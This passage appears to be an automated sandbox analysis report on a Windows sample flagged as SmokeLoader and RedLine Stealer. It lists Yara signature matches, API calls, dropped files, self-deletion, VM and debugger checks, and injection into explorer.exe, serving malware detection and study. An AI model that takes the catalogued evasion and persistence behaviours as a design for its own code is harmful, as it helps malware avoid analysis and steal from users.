Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000005.00000002.2090478524.0000000000550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2090450815.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00403054 RtlCreateUserThread,NtTerminateProcess,	0_2_00403054
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401583
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00402721 NtEnumerateKey,NtClose,	0_2_00402721
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_0040158E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040158E
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015BC
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00403054 RtlCreateUserThread,NtTerminateProcess,	5_2_00403054
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401583
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00402721 NtEnumerateKey,NtClose,	5_2_00402721
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_0040158E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_0040158E
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_004015BC NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004015BC

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00401A28	0_2_00401A28
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00401A28	5_2_00401A28
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040FC4F	7_2_0040FC4F
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040E038	7_2_0040E038
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040D5B0	7_2_0040D5B0
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_00404E2D	7_2_00404E2D
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_00403ECD	7_2_00403ECD
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040DAF4	7_2_0040DAF4
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040E730	7_2_0040E730

Source: kGSZ4dCqYh.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000005.00000002.2090478524.0000000000550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2090450815.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: kGSZ4dCqYh.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: dvjdfvr.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/2@83/2

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe

Code function: 0_2_006019D7 CreateToolhelp32Snapshot,Module32First,

0_2_006019D7

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\dvjdfvr

Jump to behavior

Source: C:\Users\user\AppData\Roaming\dvjdfvr	Command line argument: K*w		7_2_00402DF0
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Command line argument: l_H)		7_2_00402DF0

Source: kGSZ4dCqYh.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: kGSZ4dCqYh.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\kGSZ4dCqYh.exe "C:\Users\user\Desktop\kGSZ4dCqYh.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\dvjdfvr C:\Users\user\AppData\Roaming\dvjdfvr
Source: unknown	Process created: C:\Users\user\AppData\Roaming\dvjdfvr C:\Users\user\AppData\Roaming\dvjdfvr

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Section loaded: msvcr100.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Unpacked PE file: 0.2.kGSZ4dCqYh.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Unpacked PE file: 5.2.dvjdfvr.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Code function: 7_2_00409B95 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

7_2_00409B95

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_0040294B push ebx; ret	0_2_00402957
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00402923 push ebx; ret	0_2_00402926
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00402930 push ebx; ret	0_2_00402942
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00608F5D push edi; iretd	0_2_00608F78
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00609231 push edx; iretd	0_2_00609332
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00609305 push edx; iretd	0_2_00609332
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00603113 push es; ret	0_2_00603114
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_006229B2 push ebx; ret	0_2_006229BE
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_0062298A push ebx; ret	0_2_0062298D
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00622997 push ebx; ret	0_2_006229A9
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_0040294B push ebx; ret	5_2_00402957
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00402923 push ebx; ret	5_2_00402926
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00402930 push ebx; ret	5_2_00402942
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00538F5D push edi; iretd	5_2_00538F78
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00533113 push es; ret	5_2_00533114
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00539305 push edx; iretd	5_2_00539332
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00539231 push edx; iretd	5_2_00539332
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00552997 push ebx; ret	5_2_005529A9
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_0055298A push ebx; ret	5_2_0055298D
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_005529B2 push ebx; ret	5_2_005529BE
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_00405439 push ecx; ret	7_2_0040544C

Source: kGSZ4dCqYh.exe	Static PE information: section name: .text entropy: 7.014294223606666
Source: dvjdfvr.1.dr	Static PE information: section name: .text entropy: 7.014294223606666

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\dvjdfvr

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\dvjdfvr

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\kgsz4dcqyh.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\dvjdfvr:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\dvjdfvr	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\dvjdfvr	API/Special instruction interceptor: Address: 7FFE2220D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: kGSZ4dCqYh.exe, 00000000.00000002.1863053044.000000000068E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK.

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 461	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2986	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 807	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 356	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 370	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1738	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 885	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 860	Jump to behavior

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_7-6562

Source: C:\Users\user\AppData\Roaming\dvjdfvr

API coverage: 0.4 %

Source: C:\Windows\explorer.exe TID: 4828	Thread sleep count: 461 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3156	Thread sleep count: 2986 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3156	Thread sleep time: -298600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4820	Thread sleep count: 807 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4820	Thread sleep time: -80700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4924	Thread sleep count: 337 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5228	Thread sleep count: 356 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5228	Thread sleep time: -35600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4040	Thread sleep count: 370 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4040	Thread sleep time: -37000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3156	Thread sleep count: 1738 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3156	Thread sleep time: -173800s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\dvjdfvr

7_2_00402780

Source: explorer.exe, 00000001.00000000.1845787416.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1845367065.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1845367065.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1845787416.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1842655910.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1845787416.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1845367065.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1845367065.000000000982D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.1845787416.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000000.1843808640.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000001.00000000.1845367065.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1842655910.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000001.00000000.1842655910.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Roaming\dvjdfvr

API call chain: ExitProcess graph end node

graph_7-6564

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Code function: 7_2_0040841C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

7_2_0040841C

Source: C:\Users\user\AppData\Roaming\dvjdfvr

7_2_00409B95

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_006012B4 push dword ptr fs:[00000030h]	0_2_006012B4
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_0062092B mov eax, dword ptr fs:[00000030h]	0_2_0062092B
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Code function: 0_2_00620D90 mov eax, dword ptr fs:[00000030h]	0_2_00620D90
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_005312B4 push dword ptr fs:[00000030h]	5_2_005312B4
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_0055092B mov eax, dword ptr fs:[00000030h]	5_2_0055092B
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 5_2_00550D90 mov eax, dword ptr fs:[00000030h]	5_2_00550D90

Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040841C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_0040841C
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_00406DBA _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00406DBA
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_0040BE4E __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0040BE4E
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Code function: 7_2_00407345 SetUnhandledExceptionFilter,	7_2_00407345

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: dvjdfvr.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

